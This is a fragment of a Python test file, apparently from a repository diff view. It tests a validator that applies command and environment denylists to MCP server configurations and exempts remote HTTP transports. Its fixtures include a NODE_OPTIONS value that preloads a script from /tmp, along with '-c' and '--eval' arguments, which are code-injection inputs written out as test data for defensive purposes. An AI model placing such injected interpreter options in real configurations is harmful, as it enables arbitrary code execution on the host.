assert "'--eval'" in exc_info.value.detail
|
||||||
|
|
||||||
|
|
||||||
|
def test_validate_mcp_update_ignores_args_and_env_for_remote_transports(monkeypatch):
|
||||||
|
"""Remote transports never spawn a process, so the denylists must not apply."""
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"remote": McpServerConfigResponse(
|
||||||
|
type="http",
|
||||||
|
url="https://mcp.example.com/mcp",
|
||||||
|
args=["-c", "irrelevant"],
|
||||||
|
env={"NODE_OPTIONS": "--require=/tmp/x.js"},
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
|
||||||
@pytest.mark.parametrize(
|
@pytest.mark.parametrize(
|
||||||
("raw_server", "expected_type"),
|
("raw_server", "expected_type"),
|
||||||
[
|
[
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user